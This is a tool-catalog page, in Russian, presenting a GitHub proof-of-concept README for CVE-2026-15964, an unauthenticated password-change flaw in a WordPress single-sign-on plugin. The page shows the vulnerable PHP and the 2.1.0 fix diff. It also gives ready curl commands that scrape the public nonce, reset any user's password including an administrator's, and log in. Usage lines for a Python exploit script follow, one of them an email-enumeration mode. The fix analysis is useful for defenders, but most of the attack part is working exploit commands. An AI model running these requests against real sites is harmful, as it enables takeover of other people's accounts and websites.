Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-15964-PoC — PoC и чекер для CVE-2026-15964 - изменение пароля без аутентификации в плагине WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Аутентификация и авторизацияПовышение привилегийСканеры веб-уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC и чекер для CVE-2026-15964 - изменение пароля без аутентификации в плагине WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Репозиторий
1132 месяцев назадЕщё не проверено

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Неаутентифицированное повышение привилегий через непроверенную смену пароля в плагине WordPress Single Sign On For TNG.

КритичностьКритическая (9.8) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Непроверенная смена пароля)
Затронутоверсии плагина с 1.0.0 по 2.0.0
Исправлено в2.1.0 (выпущена 2026-07-27)
Опубликовано2026-08-01
Требуется аутентификациянет (wp_ajax_nopriv_ssoprocess_ajax)
Воздействиесмена пароля любой учётной записи WordPress, включая администраторов, — полный захват сайта
Плагинhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Любой неаутентифицированный посетитель может сменить пароль любой учётной записи на сайте, где установлен плагин версии 2.0.0 или ниже. Для этого нужны два HTTP-запроса:

  1. GET-запрос к главной странице и копирование nonce из JavaScript-объекта SSOPWDREQUIREMENT.
  2. POST-запрос к admin-ajax.php с параметрами operation=setnewpassword, email жертвы и новым паролем.

Остальное делает функция reset_password() из ядра WordPress. Никакого токена, никакой ссылки подтверждения по email, никакой проверки прав. После этого входите как администратор.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Почему это работает

Обработчик зарегистрирован для неаутентифицированных пользователей

В single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* означает, что обработчик доступен вообще без сессии.

Единственная защита — nonce, который плагин выдаёт каждому посетителю

load_scripts() подключена к хуку wp_enqueue_scripts, поэтому на каждой странице фронтенда плагин выводит в HTML вот это:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Что рендерится так:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

А обработчик проверяет его вот так:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

Загвоздка: WordPress вычисляет nonce с помощью wp_create_nonce($action), используя uid и токен сессии. Для вышедших из системы посетителей это 0 и пустая строка, а значит каждый анонимный посетитель получает один и тот же nonce. Он пересоздаётся только раз в 12 часов (тик nonce). Поэтому nonce, который плагин выводит любому посетителю, действителен и для атакующего — красть здесь нечего, он опубликован прямо на странице.

А затем сама смена пароля — без каких-либо доказательств владения

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() — это функция ядра WordPress. Она устанавливает новый хеш, завершает все остальные сессии жертвы и вызывает действия password_reset / after_password_reset. Здесь она вызывается без каких-либо доказательств того, что вызывающий является владельцем учётной записи.

Ещё два момента, о которых стоит знать:

  • На этом пути нет проверки сложности пароля на стороне сервера. Правила MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC плагина применяются только в validate_form() для форм Forminator, но никогда здесь. Принимается любой пароль.
  • Перечисление учётных записей. {"success":true} против {"success":false} показывает, зарегистрирован ли email. Режим --enum-only чекера использует это.
  • Бонусный баг в той же функции: operation=set_tzoffset без аутентификации вызывает update_option('localtzoffset', $post['timezoneoffset']). Напрямую для RCE не эксплуатируется, но это неаутентифицированная запись опции — упомянуть в отчёте стоит.

Что изменилось в версии 2.1.0

Сравнение 2.0.0 и 2.1.0 делает исправление очевидным (и подтверждает баг):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

а также в newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Итак, в 2.1.0 процесс выглядит так: настоящий запрос на восстановление сохраняет в user meta персональные custom_recovery_token и custom_recovery_nonce, ссылка восстановления содержит ID пользователя, форма проверяет оба значения, а AJAX-обработчик отказывается выполнять операцию после истечения окна восстановления (timeout). Атакующий, который не может предъявить действующую запись восстановления, больше не сможет запустить setnewpassword.


Воспроизведение (вручную)

Шаг 1 — извлекаем nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Шаг 2 — меняем пароль

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Ожидаемый ответ на уязвимой установке: {"success":true}

Шаг 3 — входим в систему

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Эксплойт для одного сайта. Включены неразрушающие режимы.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Скачать инструмент